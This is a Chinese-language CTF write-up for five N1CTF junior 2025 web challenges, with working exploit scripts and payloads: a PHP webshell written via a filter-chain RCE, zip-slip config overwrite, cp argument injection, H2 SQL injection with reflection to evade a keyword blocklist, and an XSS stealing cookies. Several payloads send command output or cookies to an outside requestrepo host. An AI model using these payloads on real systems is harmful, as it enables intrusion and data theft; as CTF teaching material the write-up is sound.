N1CTF junior 2025 Web wp

当时比赛没有打,一直在忙VNCTF赛后的事,忙完后才有断断续续的时间来做做。感谢baozongwi师傅提供的环境🙏。

Gavatar

通读源码,upload.php可以写入任意文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
require_once 'common.php';

$user = getCurrentUser();
if (!$user) header('Location: index.php');

$avatarDir = __DIR__ . '/avatars';
if (!is_dir($avatarDir)) mkdir($avatarDir, 0755);

$avatarPath = "$avatarDir/{$user['id']}";

if (!empty($_FILES['avatar']['tmp_name'])) {
$finfo = new finfo(FILEINFO_MIME_TYPE);
if (!in_array($finfo->file($_FILES['avatar']['tmp_name']), ['image/jpeg', 'image/png', 'image/gif'])) {
die('Invalid file type');
}
move_uploaded_file($_FILES['avatar']['tmp_name'], $avatarPath);
} elseif (!empty($_POST['url'])) { //写入任意文件
$image = @file_get_contents($_POST['url']);
if ($image === false) die('Invalid URL');
file_put_contents($avatarPath, $image);
}

header('Location: profile.php');

image-20250212131041372

然后在avatar.php会读取写入的文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
require_once 'common.php';

$user = isset($_GET['user']) ? findUserByUsername($_GET['user']) : null;
$defaultAvatar = __DIR__ . '/images/default-avatar.png';

if (!$user) {
header('Content-Type: image/png');
readfile($defaultAvatar);
exit;
}

$avatarPath = __DIR__ . "/avatars/{$user['id']}";

if (!file_exists($avatarPath)) {
header('Content-Type: image/png');
readfile($defaultAvatar);
} else {
header('Content-Type: ' . mime_content_type($avatarPath));
readfile($avatarPath); //读取写入的文件
}

image-20250212131134585

flag是没有权限读取的,需要rce来执行/readflag。

这里直接打 iconv rce

改改代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
    def __init__(self, url: str) -> None:
self.url = url
self.session = Session()
self.cookies = {"PHPSESSID":"6b3cf95721ed7283199f0ab7451f7f35"}

def send(self, path: str) -> Response:
"""Sends given `path` to the HTTP server. Returns the response.
"""
return self.session.get(self.url+"/avatar.php?user=admin",cookies=self.cookies)

def download(self, path: str) -> bytes:
"""Returns the contents of a remote file.
"""
path = f"php://filter/convert.base64-encode/resource={path}"
self.session.post(self.url+"/upload.php", data={"url": path},cookies=self.cookies) #写文件
response = self.send(path) #读文件
data = response.re.search(b"(.*)", flags=re.S).group(1)
return base64.decode(data)

……………………

url = "http://localhost:8000"
command = "echo '<?php eval($_POST[1]);'>/var/www/html/1.php"

运行之后访问1.php即可rce。

traefik

有个flag路由,但是必须要求本地访问,然后还会检查请求头X-Forwarded-For不允许自己添加127.0.0.1,还有个upload路由:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
r.POST("/public/upload", func(c *gin.Context) {
file, err := c.FormFile("file")
if err != nil {
c.JSON(400, gin.H{"error": "File upload failed"})
return
}

randomFolder := randFileName()
destDir := filepath.Join(uploadDir, randomFolder)

if err := os.MkdirAll(destDir, 0755); err != nil {
c.JSON(500, gin.H{"error": "Failed to create directory"})
return
}

zipFilePath := filepath.Join(uploadDir, randomFolder+".zip")
if err := c.SaveUploadedFile(file, zipFilePath); err != nil {
c.JSON(500, gin.H{"error": "Failed to save uploaded file"})
return
}

if err := unzipFile(zipFilePath, destDir); err != nil {
c.JSON(500, gin.H{"error": "Failed to unzip file"})
return
}

c.JSON(200, gin.H{
"message": fmt.Sprintf("File uploaded and extracted successfully to %s", destDir),
})
}

这里的upload路由可以上传zip,然后自动解压压缩包,我们注意附件里给的config/dynamic.yml,这是用于设置 HTTP 服务的负载均衡器和路由规则。我们可以上传一个压缩包里面装着名为../../config/dynamic.yml的文件,然后这里面给flag路由写一个代理,接着上传压缩包,解压后会覆盖原来的dynamic文件,我们就可以拿到flag了。

给出新的dynamic.yml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
http:
services:
proxy:
loadBalancer:
servers:
- url: "http://127.0.0.1:8080"
routers:
index:
rule: Path(`/public/index`)
entrypoints: [web]
service: proxy
upload:
rule: Path(`/public/upload`)
entrypoints: [web]
service: proxy
flag:
rule: Path(`/flag`)
entrypoints: [web]
service: proxy
middlewares:
- add-x-forwarded-for

middlewares:
add-x-forwarded-for:
headers:
customRequestHeaders:
X-Forwarded-For: "127.0.0.1"

add-x-forwarded-for 是一个中间件,它会在请求中添加一个自定义的请求头:X-Forwarded-For: "127.0.0.1"。exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import os
import requests
import zipfile

url = "http://ctf.baozongwi.xyz:10002"
zip_filename = r'C:\Users\13664\Desktop\123.zip'

with zipfile.ZipFile(zip_filename, 'a') as zipf:
zipf.write(r'C:\Users\13664\Desktop\dynamic.yml', arcname="../../.config/dynamic.yml")
zipf.close()

res = requests.post(url+"/public/upload", files={'file': open(zip_filename, 'rb')})
print(res.text)
res = requests.get(url+"/flag")
print(res.text)
os.remove(zip_filename)

backup

这道题没给环境无法复现,写写自己的理解。

前面php直接反弹shell,然后/flag没有权限读取,但是有一个/backup.sh 有suid权限,

1
2
3
4
5
6
7
8
#!/bin/bash
cd /var/www/html/primary
while:
do
cp -P * /var/www/html/backup/
chmod 755 -R /var/www/html/backup/
sleep 15
done

这段 Bash 脚本的作用是每 15 秒钟将 /var/www/html/primary 目录中的所有文件复制到 /var/www/html/backup/ 目录,并设置复制后文件的权限为 755

注意这里-P 选项确保符号链接不会被解引用

我们可以用-H参数来覆盖-P参数:

cp -H 会让 cp 命令在遇到符号链接时,按照符号链接指向的目标文件进行复制,而不是直接复制符号链接本身。

我们如果有一个软连接指向/flag,用-H参数后,会直接把/flag复制过来,然后给755权限,然后我们就可以读取了。那怎么覆盖-P参数呢?

注意这里的*,我们可以创建一个名为-H的文件,cp命令就会多-H这个参数

1
2
3
4
cd primary
touch -- -H
ln -s /flag readflag
cat /var/www/html/backup/readflag

ps:关于如何创建一个名为-H的文件有两种方法:

1
2
touch -- -H        //--的作用是不解析后面的参数
echo "">-H

EasyDB

查看application.yml发现是h2数据库:

image-20250213163244935

在登录页面存在sql注入,

image-20250213163051647

对我们的输入进行了过滤

1
2
3
4
5
6
7
8
9
static {
blackLists.add("runtime");
blackLists.add("process");
blackLists.add("exec");
blackLists.add("shell");
blackLists.add("file");
blackLists.add("script");
blackLists.add("groovy");
}

H2允许用户定义函数别名,因此可以执行Java代码。简单的查询语句如下所示,该语句可以创建名为REVERSE的函数别名,其中包含我们构造的Java代码payload。然后我们可以使用CALL语句调用这个别名,执行我们的Java payload。

1
2
3
CREATE ALIAS REVERSE AS 
$$ String reverse(String s){ return new StringBuilder(s).reverse().toString();}$$;
CALL REVERSE('Test');

为了实现远程代码执行(RCE),攻击者可以通过java.lang.Runtime.exec()来执行系统命令。

1
2
3
4
CREATE ALIAS Infernity AS 
$$ void e(String cmd) throws java.io.IOException
{java.lang.Runtime rt= java.lang.Runtime.getRuntime();rt.exec(cmd);}$$
CALL Infernity('whoami');

这里支持堆叠注入,直接 RCE,利用拼接绕过 WAF,

1
2
3
4
5
6
7
8
9
10
11
import java.lang.reflect.Method;

public class test {
public static void main(String[] args) throws Exception {
String r = "Run"+"time";
Class<?> rt = Class.forName("java.lang."+r); //拼接获取Runtime类
Object gr = rt.getMethod("get"+r).invoke(null); //获取getRuntime对象
Method ex = rt.getMethod("ex"+"ec",String.class); //获取exec方法
ex.invoke(gr,"calc"); //调用
}
}

payload

1
2
3
4
password=123456&username=admin';CREATE ALIAS Infernity AS 
$$ void e(String cmd) throws java.io.IOException
{String r = "Run"+"time";Class<?> rt = Class.forName("java.lang."+r);Object gr = rt.getMethod("get"+r).invoke(null);Method ex = rt.getMethod("ex"+"ec",String.class);ex.invoke(gr,cmd);}$$
CALL Infernity('curl http://rp1hua27.requestrepo.com?`/readflag`');--

display

看index.js,这里给了一个预览页面,可以把base64加密后的payload get传参进来看看效果。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
function getQueryParam(param) {
const urlParams = new URLSearchParams(window.location.search);
return urlParams.get(param);
}

// Sanitize content using DOMPurify
function sanitizeContent(text) {
// Only allow <h1>, <h2>, tags and plain text
const config = {
ALLOWED_TAGS: ['h1', 'h2']
};
return DOMPurify.sanitize(text, config);
}

document.addEventListener("DOMContentLoaded", function() {
const textInput = document.getElementById('text-input');
const insertButton = document.getElementById('insert-btn');
const contentDisplay = document.getElementById('content-display');

const queryText = getQueryParam('text');

if (queryText) {
const sanitizedText = sanitizeContent(atob(decodeURI(queryText)));

if (sanitizedText.length > 0) {
textInput.innerHTML = sanitizedText; // 写入预览区
contentDisplay.innerHTML = textInput.innerText; // 写入效果显示区

insertButton.disabled = false;
} else {
textInput.innerText = "Only allow h1, h2 tags and plain text";
}
}
});

注意这里,利用了两次 innerHTML

1
2
textInput.innerHTML = sanitizedText;             // 写入预览区
contentDisplay.innerHTML = textInput.innerText; // 写入效果显示区

可以利用 HTML 实体编码绕过,又根据 hint:用iframe嵌入子页面可以重新唤起DOM解析器解析script标签

1
<iframe srcdoc="<script>alert(1)</script>"></iframe>

<iframe>标签:这表示一个内嵌框架,它允许在当前页面中嵌入另一个 HTML 文档。srcdoc 属性允许直接将 HTML 内容作为字符串传递,而无需通过 URL 加载。

还要注意app.js里的csp:

1
const csp = "script-src 'self'; object-src 'none'; base-uri 'none';";
  • script-src 'self';
    这一部分规定了脚本资源只能从当前页面的源(即同一域名)加载,禁止从其他域名加载脚本,防止恶意脚本注入。
  • object-src 'none';
    这一部分禁止加载任何对象资源(如 <object>, <embed>, <applet> 等标签的内容),增强页面安全性,防止恶意的插件或嵌入内容。
  • base-uri 'none';
    这一部分禁止页面设置 <base> 标签的 href 属性,避免通过修改页面基准URL来进行潜在的攻击。

这里用 404 页面绕过,script 标签引入 404 页面执行 JS

1
2
3
app.use((req, res) => {
res.status(200).type('text/plain').send(`${decodeURI(req.path)} : invalid path`);
}); // 404 页面

image-20250213175436718

总payload:

1
&lt;iframe srcdoc="&lt;script src=.//%0Afetch('http://rp1hua27.requestrepo.com'+document.cookie);//&gt;&lt;/script&gt;"&gt;&lt;/iframe&gt;

base64加密后输入即可。


N1CTF junior 2025 Web wp
http://example.com/2025/02/12/N1CTF2025/
作者
Infernity
发布于
2025年2月12日
许可协议